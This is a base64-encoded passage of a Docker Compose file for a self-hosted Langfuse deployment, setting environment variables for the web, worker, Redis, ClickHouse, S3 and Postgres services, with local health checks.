PUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMzAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAg